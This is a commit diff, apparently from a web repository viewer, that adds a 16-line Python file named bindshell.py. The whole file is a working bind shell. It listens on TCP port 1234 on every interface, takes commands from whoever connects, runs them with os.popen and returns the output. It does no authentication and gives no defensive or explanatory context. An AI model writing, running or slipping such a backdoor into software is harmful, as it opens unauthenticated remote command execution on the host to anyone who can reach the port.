diff options
Diffstat (limited to 'bindshell.py')
| -rw-r--r-- | bindshell.py | 16 |
1 files changed, 16 insertions, 0 deletions
diff --git a/bindshell.py b/bindshell.py new file mode 100644 index 0000000..faa014d --- /dev/null +++ b/bindshell.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python3 +import socket,os + +try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind(('', 1234)) + s.listen() + conn,addr = s.accept() + while 1: + data = conn.recv(1024) + reponse=os.popen(data.decode()).read() + conn.sendall(str(reponse).encode()) +except KeyboardInterrupt: + s.close() +finally: + print("bye") |
